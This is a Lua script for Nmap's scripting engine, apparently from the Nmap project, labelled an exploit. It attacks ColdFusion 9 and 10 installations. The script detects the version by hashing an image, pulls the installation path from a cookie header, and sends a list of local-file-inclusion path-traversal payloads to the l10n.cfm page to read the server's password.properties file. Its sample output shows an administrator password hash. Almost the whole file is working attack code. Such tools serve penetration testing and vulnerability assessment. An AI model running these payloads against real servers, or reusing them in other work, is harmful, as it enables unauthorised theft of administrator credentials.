1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
|
description = [[
Attempts to retrieve version, absolute path of administration panel and the
file 'password.properties' from vulnerable installations of ColdFusion 9 and
10.
This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
]]
---
-- @see http-adobe-coldfusion-apsa1301.nse
-- @see http-vuln-cve2009-3960.nse
-- @see http-vuln-cve2010-2861.nse
--
-- @usage nmap -sV --script http-coldfusion-subzero <target>
-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-coldfusion-subzero:
-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
-- | version: 9
-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
-- | rdspassword=
-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
-- |_encrypted=true
--
-- @xmloutput
-- <elem key="version">9</elem>
-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
</elem>
-- @args http-coldfusion-subzero.basepath Base path. Default: /.
--
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit"}
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local url = require "url"
local openssl = stdnse.silent_require "openssl"
portrule = shortport.http
local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&\z
attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&\z
attributes.var=it&attributes.jscript=false&attributes.type=text/html&\z
attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id\z
=it&attributes.file=../../administrator/mail/download.cfm&filename="
local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&\z
attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&\z
thisTag.executionmode=end&thisTag.generatedContent=htp"
local CREDENTIALS_PAYLOADS = {
"../../lib/password.properties",
"..\\..\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
"../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"
}
---
-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY
-- value from the header 'set-cookie'
--
local function get_installation_path(host, port, basepath)
local req = http.get(host, port, basepath..PATH_PAYLOAD)
if req.header['set-cookie'] then
stdnse.debug1("Header 'set-cookie' detected in response.")
local _, _, path = string.find(req.header['set-cookie'],
"path=/, ANALYZER_DIRECTORY=(.-);path=/")
if path then
stdnse.debug1("Extracted path:%s", path)
return path
end
end
return nil
end
---
-- Extracts version by comparing an image with known md5 checksums
--
local function get_version(host, port, basepath)
local version = -1
local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
if img_req.status == 200 then
local md5chk = stdnse.tohex(openssl.md5(img_req.body))
if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
stdnse.debug1("CF version 10 detected.")
version = 10
elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
stdnse.debug1("CF version 9 detected.")
version = 9
elseif md5chk == "" then
stdnse.debug1("CF version 8 detected.")
version = 8
else
stdnse.debug1("Could not determine version.")
version = nil
end
end
return version
end
---
-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
local function exploit(host, port, basepath)
for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
if req.body and string.find(req.body, "encrypted=true") then
stdnse.debug1("String pattern found. Exploitation worked with vector '%s'.", vector)
return true, req.body
end
end
end
action = function(host, port)
local output_tab = stdnse.output_table()
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
local installation_path = get_installation_path(host, port, basepath)
local version_num = get_version(host, port, basepath)
local status, file = exploit(host, port, basepath)
if status then
if version_num then
output_tab.version = version_num
end
if installation_path then
output_tab.installation_path = url.unescape(installation_path)
end
output_tab.password_properties = file
else
return nil
end
return output_tab
end
|